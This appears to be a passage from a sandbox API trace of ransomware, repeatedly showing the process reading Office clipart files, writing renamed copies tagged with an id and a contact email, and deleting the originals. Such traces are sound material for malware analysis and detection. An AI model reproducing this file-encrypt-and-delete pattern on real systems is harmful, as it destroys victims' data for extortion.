	[0171.592] lstrlenW (lpString=".dbf") returned 4
	[0171.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.592] lstrlenW (lpString=".1cd") returned 4
	[0171.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.592] lstrlenW (lpString=".jpg") returned 4
	[0171.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.592] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.592] lstrlenW (lpString="J0105490.WMF") returned 12
	[0171.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.593] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=18728) returned 1
	[0171.593] CloseHandle (hObject=0x4bc) returned 1
	[0171.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220
	[0171.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.594] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.594] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0171.596] GetLastError () returned 0x0
	[0171.596] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4928, lpOverlapped=0x0) returned 1
	[0171.598] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4930, lpOverlapped=0x0) returned 1
	[0171.600] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.600] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.600] SetEndOfFile (hFile=0x538) returned 1
	[0171.600] CloseHandle (hObject=0x538) returned 1
	[0171.600] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.600] SetEndOfFile (hFile=0x4bc) returned 1
	[0171.605] CloseHandle (hObject=0x4bc) returned 1
	[0171.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1
	[0171.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.608] lstrlenW (lpString=".doc") returned 4
	[0171.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.608] lstrlenW (lpString=".docx") returned 5
	[0171.608] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.609] lstrlenW (lpString=".pdf") returned 4
	[0171.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString=".xls") returned 4
	[0171.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.609] lstrlenW (lpString=".xlsx") returned 5
	[0171.609] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.609] lstrlenW (lpString=".ppt") returned 4
	[0171.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.609] lstrlenW (lpString=".zip") returned 4
	[0171.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.609] lstrlenW (lpString=".rar") returned 4
	[0171.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString=".bz2") returned 4
	[0171.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString=".7z") returned 3
	[0171.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.609] lstrlenW (lpString=".dbf") returned 4
	[0171.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.609] lstrlenW (lpString=".1cd") returned 4
	[0171.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.609] lstrlenW (lpString=".jpg") returned 4
	[0171.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.609] lstrlenW (lpString=".doc") returned 4
	[0171.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.609] lstrlenW (lpString=".docx") returned 5
	[0171.609] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.609] lstrlenW (lpString=".pdf") returned 4
	[0171.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.610] lstrlenW (lpString=".xls") returned 4
	[0171.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.610] lstrlenW (lpString=".xlsx") returned 5
	[0171.610] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.610] lstrlenW (lpString=".ppt") returned 4
	[0171.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.610] lstrlenW (lpString=".zip") returned 4
	[0171.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.610] lstrlenW (lpString=".rar") returned 4
	[0171.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.610] lstrlenW (lpString=".bz2") returned 4
	[0171.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.610] lstrlenW (lpString=".7z") returned 3
	[0171.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.610] lstrlenW (lpString=".dbf") returned 4
	[0171.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.610] lstrlenW (lpString=".1cd") returned 4
	[0171.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0171.610] lstrlenW (lpString=".jpg") returned 4
	[0171.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.610] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.610] lstrlenW (lpString="J0105496.WMF") returned 12
	[0171.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.611] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5156) returned 1
	[0171.611] CloseHandle (hObject=0x4bc) returned 1
	[0171.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220
	[0171.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.612] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.612] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0171.613] GetLastError () returned 0x0
	[0171.613] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1424, lpOverlapped=0x0) returned 1
	[0171.615] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1430, lpOverlapped=0x0) returned 1
	[0171.616] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.616] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.616] SetEndOfFile (hFile=0x538) returned 1
	[0171.616] CloseHandle (hObject=0x538) returned 1
	[0171.616] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.616] SetEndOfFile (hFile=0x4bc) returned 1
	[0171.619] CloseHandle (hObject=0x4bc) returned 1
	[0171.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1
	[0171.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.620] lstrlenW (lpString=".doc") returned 4
	[0171.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.620] lstrlenW (lpString=".docx") returned 5
	[0171.620] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.620] lstrlenW (lpString=".pdf") returned 4
	[0171.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.620] lstrlenW (lpString=".xls") returned 4
	[0171.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.620] lstrlenW (lpString=".xlsx") returned 5
	[0171.620] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.620] lstrlenW (lpString=".ppt") returned 4
	[0171.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.620] lstrlenW (lpString=".zip") returned 4
	[0171.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.620] lstrlenW (lpString=".rar") returned 4
	[0171.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString=".bz2") returned 4
	[0171.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString=".7z") returned 3
	[0171.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.621] lstrlenW (lpString=".dbf") returned 4
	[0171.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.621] lstrlenW (lpString=".1cd") returned 4
	[0171.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.621] lstrlenW (lpString=".jpg") returned 4
	[0171.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.621] lstrlenW (lpString=".doc") returned 4
	[0171.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString=".docx") returned 5
	[0171.621] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.621] lstrlenW (lpString=".pdf") returned 4
	[0171.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString=".xls") returned 4
	[0171.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.621] lstrlenW (lpString=".xlsx") returned 5
	[0171.621] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.621] lstrlenW (lpString=".ppt") returned 4
	[0171.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.621] lstrlenW (lpString=".zip") returned 4
	[0171.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.621] lstrlenW (lpString=".rar") returned 4
	[0171.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.622] lstrlenW (lpString=".bz2") returned 4
	[0171.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.622] lstrlenW (lpString=".7z") returned 3
	[0171.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.622] lstrlenW (lpString=".dbf") returned 4
	[0171.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.622] lstrlenW (lpString=".1cd") returned 4
	[0171.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0171.622] lstrlenW (lpString=".jpg") returned 4
	[0171.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.622] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.622] lstrlenW (lpString="J0105502.WMF") returned 12
	[0171.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.625] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5472) returned 1
	[0171.625] CloseHandle (hObject=0x4bc) returned 1
	[0171.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220
	[0171.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.625] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.625] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0171.626] GetLastError () returned 0x0
	[0171.626] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1560, lpOverlapped=0x0) returned 1
	[0171.931] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1570, lpOverlapped=0x0) returned 1
	[0171.932] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.932] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.933] SetEndOfFile (hFile=0x538) returned 1
	[0172.211] CloseHandle (hObject=0x538) returned 1
	[0172.211] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.211] SetEndOfFile (hFile=0x4bc) returned 1
	[0172.214] CloseHandle (hObject=0x4bc) returned 1
	[0172.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1
	[0172.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.827] lstrlenW (lpString=".doc") returned 4
	[0172.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.827] lstrlenW (lpString=".docx") returned 5
	[0172.827] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0172.827] lstrlenW (lpString=".pdf") returned 4
	[0172.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.827] lstrlenW (lpString=".xls") returned 4
	[0172.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.827] lstrlenW (lpString=".xlsx") returned 5
	[0172.827] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0172.827] lstrlenW (lpString=".ppt") returned 4
	[0172.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.828] lstrlenW (lpString=".zip") returned 4
	[0172.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.828] lstrlenW (lpString=".rar") returned 4
	[0172.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString=".bz2") returned 4
	[0172.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString=".7z") returned 3
	[0172.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.828] lstrlenW (lpString=".dbf") returned 4
	[0172.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.828] lstrlenW (lpString=".1cd") returned 4
	[0172.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.828] lstrlenW (lpString=".jpg") returned 4
	[0172.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.828] lstrlenW (lpString=".doc") returned 4
	[0172.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString=".docx") returned 5
	[0172.828] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0172.828] lstrlenW (lpString=".pdf") returned 4
	[0172.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString=".xls") returned 4
	[0172.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.828] lstrlenW (lpString=".xlsx") returned 5
	[0172.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0172.828] lstrlenW (lpString=".ppt") returned 4
	[0172.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.829] lstrlenW (lpString=".zip") returned 4
	[0172.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.829] lstrlenW (lpString=".rar") returned 4
	[0172.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.829] lstrlenW (lpString=".bz2") returned 4
	[0172.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.829] lstrlenW (lpString=".7z") returned 3
	[0172.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
